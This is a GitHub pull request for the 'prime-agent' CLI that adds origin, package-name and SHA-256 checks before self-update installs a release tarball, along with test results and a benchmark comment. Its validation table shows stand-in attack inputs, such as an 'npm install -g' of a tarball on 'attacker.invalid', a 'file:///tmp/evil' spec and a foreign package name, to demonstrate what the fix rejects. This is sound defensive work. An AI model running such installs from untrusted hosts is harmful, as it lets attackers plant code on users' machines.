Skip to content

verify self-update tarball origin and digest before installing - #2170

Draft
kevinjosethomas wants to merge 1 commit into
mainfrom
eng-5341-self-update-integrity
Draft

verify self-update tarball origin and digest before installing#2170
kevinjosethomas wants to merge 1 commit into
mainfrom
eng-5341-self-update-integrity

Conversation

@kevinjosethomas

@kevinjosethomas kevinjosethomas commented Sep 9, 2026

Copy link
Copy Markdown
Member

Linear: ENG-5341 — https://linear.app/primeintellect/issue/ENG-5341

Context

prime-agent update fetched latest.json/beta.json and passed whatever tarball it named straight to npm install -g <spec> (pnpm/yarn/bun variants too). Nothing checked the tarball origin or scheme (https://attacker.invalid/…, http://…, file:///… were all accepted), the manifest sha256 digests were ignored, a package differing from the installed one was accepted (and the installed package uninstalled), and a version/filename mismatch went through. When the manifest was unreachable or had no tarball it fell back to npm install -g <package name> from the npm registry, where prime-agent is not published. install.sh already verifies against SHA256SUMS and was left untouched.

Root cause: getLatestPiRelease (src/utils/version-check.ts) returned an unvalidated installSpec, and getSelfUpdatePlan (src/package-manager-cli.ts) handed it to getSelfUpdateCommand, whose isDirectPackageArtifactSpec treats any http/https/file spec as an installable artifact.

Changes

  • src/utils/version-check.ts: the manifest is now validated. Base URL must be https (http:// only with the documented PRIME_AGENT_ALLOW_INSECURE_DOWNLOAD_BASE_URL=1; file: never). The tarball must be same-origin with the release base, be named <package>-<version>.tgz for the installed package (or an allowlisted rename), and carry a SHA-256 digest (top-level sha256 or a matching tarballs[] entry). package must equal the installed name. Failures throw ReleaseManifestError; the startup notice swallows it and stays quiet.
  • src/utils/self-update-artifact.ts (new): downloads the tarball to a fresh temp dir with redirect: "error", hashes it while streaming, discards it on mismatch, and returns the local path plus a cleanup handle.
  • src/package-manager-cli.ts: the plan requires a verified tarball; the package manager is invoked with the verified local path, never a URL; the registry-name fallback is removed; every rejection is reported as Error: … with exit code 1 before any package manager call. update is an explicit request, so it now fetches the manifest even under PI_SKIP_VERSION_CHECK/PI_OFFLINE (it already hit the network via npm before).
  • scripts/pack-prime-agent-release.mjs: emits a top-level sha256 for the CLI tarball (the tarballs[].sha256 entries it already wrote are also accepted, so current published manifests verify as-is).
  • Docs (docs/settings.md, docs/usage.md, README.md) describe the new manifest requirements and the insecure-mirror override; changelog fragment added.

Model-facing surface (tool names, system prompt, kernel API) is untouched.

Validation

Local: npm run check passes (biome, tsgo, check-installer, browser smoke). Focused tests from packages/coding-agent:

npx tsx ../../node_modules/vitest/dist/cli.js --run test/version-check.test.ts test/self-update-artifact.test.ts \
  test/package-self-update-daemon.test.ts test/interactive-update-relaunch.test.ts test/config.test.ts
# 5 files, 100 tests passed

New coverage: version-check.test.ts (accept + each rejection: foreign origin, http/file tarball, http base without/with override, file base, package mismatch, rename allowlist, version/filename mismatch, missing/malformed digest, bad version, startup notice quiet, explicit bypass), self-update-artifact.test.ts (verified download, digest mismatch discard, HTTP error, network error, cleanup), package-self-update-daemon.test.ts (installs the local verified path, and six rejection cases plus unreachable manifest assert no spawn: before exit 1).

Prime Sandbox (node:24-bookworm, user tester, fresh HOME, local http://127.0.0.1:18555 mirror, fake global npm that records invocations; both trees run through handlePackageCommand(["update","--self"]) via tsx):

case main @ 427ea4c this branch
valid manifest + tarball npm install -g http://127.0.0.1:18555/…/earendil-works-pi-coding-agent-99.0.0.tgz npm install -g /tmp/prime-agent-update-XXXX/earendil-works-pi-coding-agent-99.0.0.tgz, fake npm hashed the file to the manifest digest, temp dir removed
tampered tarball bytes npm invoked with the URL, "Updated" Error: SHA-256 mismatch … The download was discarded. exit 1, npm not invoked
https://attacker.invalid/pkg-99.0.0.tgz npm install -g https://attacker.invalid/pkg-99.0.0.tgz Error: … not on the release origin exit 1, no download, npm not invoked
file:///tmp/evil-99.0.0.tgz npm install -g file:///tmp/evil-99.0.0.tgz rejected, exit 1
package: "@attacker/anything" npm install -g <url> && npm uninstall -g @earendil-works/pi-coding-agent Error: … names package "@attacker/anything", but this installation is … exit 1
tarball version 1.0.0 vs manifest 99.0.0 n/a rejected (expected …-99.0.0.tgz)
no digest / no tarball n/a rejected, npm not invoked
http base without override accepted Error: Release downloads require an https base URL … exit 1, no fetch

Existing tests in the sandbox: 100/100 on this branch; main baseline 71/71 for the same four pre-existing files. Sandbox deleted afterwards.

Not validated: a real npm install -g <local tarball> against the R2 bucket (fake npm only), and pnpm/yarn/bun accepting an absolute local .tgz path (npm does; yarn v1 may prefer a file: prefix — worth a check before release). Internal dependency tarballs referenced by URL from the release package.json are still fetched by npm itself, as with install.sh; verifying those would need the manifest's other tarballs[] digests and a rewritten package.json — follow-up.

Note

Verify self-update tarball origin and digest before installing

  • Replaces the registry-install-spec self-update flow with one that downloads the manifest tarball to a temporary directory and SHA-256-verifies it before invoking the package manager with a local path
  • Adds strict manifest validation in parseReleaseManifest and getLatestPiRelease: package names must match the installed package, tarball URLs must be same-origin HTTPS, filenames must match package and version, and digests must be valid 64-char hex SHA-256
  • Removes the npm-registry fallback; explicit update requests now fail when the manifest is unreachable, names an unacceptable package, or lacks a verifiable tarball
  • Adds an opt-in environment variable to allow an HTTP release mirror; getPrimeAgentDownloadBaseUrl otherwise requires HTTPS and rejects file: URLs
  • Release pack script now emits the coding-agent tarball digest at the top level of the manifest
  • Behavioral Change: getSelfUpdatePlan no longer returns a registry install spec or falls back on manifest failure; out-of-tree consumers of the old plan shape will break. resolveTarballUrl and findManifestDigest reject foreign-origin or digest-less tarballs that were previously accepted

Macroscope summarized 0c1ac22.

…e installing

The self-update installed whatever tarball the release manifest named,
on any origin or scheme, with no digest check and no package or version
match. It also fell back to installing the bare package name from the
npm registry, where the public package does not exist.

The manifest tarball must now be same-origin https with the release
base, named <package>-<version>.tgz for the installed package, and carry
a SHA-256 digest. The tarball is downloaded to a temp dir and hashed
before the package manager sees the local path; every rejection happens
first and is reported. The pack script emits the top-level digest.

Linear: ENG-5341
@github-actions

github-actions Bot commented Sep 9, 2026

Copy link
Copy Markdown

Prime Agent performance — completed

PR 0c1ac220 compared with main f9c7e06b.
↓ improved · ↑ regressed · ≈ no clear change · — unavailable

Metric Main This PR Change Change % Result
Cold startup 3,055.4 ms 3,627.7 ms ≈ +572.3 ms +18.73% no clear change
Warm startup 1,780.8 ms 2,123.0 ms ≈ +342.2 ms +19.22% no clear change
Installation 30.40 s 35.47 s ≈ +5.08 s +16.71% no clear change
Compressed release artifacts 11.10 MB 11.11 MB ≈ +0.0089 MB +0.08% no clear change
Installed footprint 597.35 MB 597.40 MB ≈ +0.05 MB +0.01% no clear change
Idle memory, summed RSS 1,068.05 MB 1,117.14 MB ≈ +49.09 MB +4.60% no clear change

Python runtime

Metric Main This PR Change Change % Result
Python kernel startup 141.4 ms 148.1 ms ≈ +6.7 ms +4.73% no clear change
Python cell round trip 0.604 ms 0.594 ms ≈ -0.011 ms -1.81% no clear change
Empty bash command 12.9 ms 13.4 ms ≈ +0.5 ms +3.90% no clear change
Bash git status 19.2 ms 19.1 ms ≈ -0.024 ms -0.12% no clear change
Bash 32 KiB output 14.1 ms 14.2 ms ≈ +0.051 ms +0.36% no clear change
35 cells / 9 shell calls 198.8 ms 193.1 ms ≈ -5.7 ms -2.87% no clear change
Python interrupt to done 1.811 ms 1.580 ms ≈ -0.232 ms -12.80% no clear change
Python state snapshot 27.8 ms 28.7 ms ≈ +0.9 ms +3.24% no clear change
Python state restore 391.1 ms 417.1 ms ≈ +26.1 ms +6.66% no clear change
Python idle RSS 35.48 MB 37.35 MB ≈ +1.87 MB +5.27% no clear change
Python RSS after pandas workload 97.93 MB 99.39 MB ≈ +1.46 MB +1.49% no clear change

Sandbox cost: ~$0.1052 — no inference calls.
Run, logs, and downloadable raw results

Methodology and samples

Main resolved at 2026-09-09T23:53:44.687894+00:00. Harness f9c7e06b.
Linux x64, 4 vCPU, 8 GB RAM, 20 GB disk; region us.
Image: node:24-bookworm@sha256:be23f54a88d34e8824c741b19b91064094f92c1c97b194144bfc8b50d67258e2.
Stock tools, skills, daemon, and Python bootstrap enabled; fresh homes and a fixed Git fixture.
Onboarding is dismissed; the editor starts without a selected model or submitted prompt.
Medians shown. Arrows require a 20% timing/memory change plus absolute floors and IQR.
These practical noise floors are not a statistical significance test.
Cold means stopped Prime processes; OS filesystem caches are not flushed.
No model requests or credentials. Installation excludes build/setup time.
Installer tarballs use loopback; npm/Python downloads use the network with fresh caches.
Artifact size counts release tarballs; footprint after first use includes registry packages.
MB is decimal. Summed RSS can double-count shared pages; PSS is recorded when available.
Provisioning, setup, and build durations are recorded separately in the raw results.
Kernel probes use the installed JSONL runtime, outside the TUI/TypeScript host.
Per trial: 50 Python cells, 5 calls per shell case, and one 35-cell mix (9 git status calls).
Cell/shell values are batch means; other runtime timings are single operations.
State fixture: a 10,000-row × 8-column integer DataFrame and a 10,000-integer list.
Restore runs in a fresh kernel, including pandas imports; kernel startup is excluded.
Kernel RSS covers the isolated Python process; loaded RSS follows the pandas workload.
Costs estimate full sandbox lifetimes at configured rates, including setup and build.
Budget target: $1; not a billing cap. Checks are informational.

Metric Main successful/attempted PR successful/attempted Main spread PR spread
Cold startup 10/10 10/10 IQR 148.3 ms IQR 162.0 ms
Warm startup 10/10 10/10 IQR 77.5 ms IQR 169.2 ms
Installation 3/3 3/3 range 1.11 s range 2.26 s
Compressed release artifacts 1/1 1/1
Installed footprint 1/1 1/1
Idle memory, summed RSS 10/10 10/10 IQR 116.11 MB IQR 31.98 MB
Python kernel startup 10/10 10/10 IQR 15.1 ms IQR 22.8 ms
Python cell round trip 10/10 10/10 IQR 0.107 ms IQR 0.185 ms
Empty bash command 10/10 10/10 IQR 1.4 ms IQR 0.8 ms
Bash git status 10/10 10/10 IQR 1.6 ms IQR 3.4 ms
Bash 32 KiB output 10/10 10/10 IQR 1.7 ms IQR 3.1 ms
35 cells / 9 shell calls 10/10 10/10 IQR 14.0 ms IQR 24.8 ms
Python interrupt to done 10/10 10/10 IQR 0.247 ms IQR 0.047 ms
Python state snapshot 10/10 10/10 IQR 2.5 ms IQR 6.5 ms
Python state restore 10/10 10/10 IQR 41.6 ms IQR 10.9 ms
Python idle RSS 10/10 10/10 IQR 3.49 MB IQR 2.21 MB
Python RSS after pandas workload 10/10 10/10 IQR 3.77 MB IQR 1.26 MB

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant